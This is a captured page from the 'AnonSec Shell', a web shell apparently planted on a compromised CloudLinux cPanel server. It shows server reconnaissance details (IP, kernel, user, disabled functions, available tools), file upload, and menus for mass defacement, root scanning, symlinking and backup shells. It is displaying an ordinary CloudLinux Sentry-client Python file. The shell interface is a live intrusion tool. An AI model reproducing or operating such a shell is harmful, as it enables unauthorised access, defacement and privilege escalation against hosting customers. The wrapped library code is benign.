AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/clsentry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/clsentry/__init__.py
# coding=utf-8

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import logging

from clcommon.utils import get_rhn_systemid_value

from clsentry.client import UserlandClient
from clsentry.utils import get_pkg_version

from raven.handlers.logging import SentryHandler
from raven.conf import setup_logging


CLLIB_DSN = 'https://81a8a506e16c4dd690f9ef3e0691813f:[email protected]/31'
__all__ = ('init_sentry_client', 'init_cllib_sentry_client')


def init_sentry_client(project, release, dsn, handle=True, custom_length=None):
    """
    Create generic sentry client and install logging hooks
    """
    sentry = UserlandClient(dsn, release=release)
    # set user context settings, like id or email
    sentry.user_context({
        'id': get_rhn_systemid_value('system_id'),
    })
    # and also set project name
    sentry.tags['Project'] = project

    if custom_length:
        sentry.string_max_length = custom_length

    if handle:
        # setup handler, so we can track logging.error's
        handler = SentryHandler(sentry, level=logging.ERROR)
        setup_logging(handler)
    return sentry


def init_cllib_sentry_client():
    """
    Create sentry client for cllib package
    and install logging hooks
    """
    return init_sentry_client(
        'python-cllib', release=get_pkg_version('alt-python27-cllib'), dsn=CLLIB_DSN)

Anon7 - 2022
AnonSec Team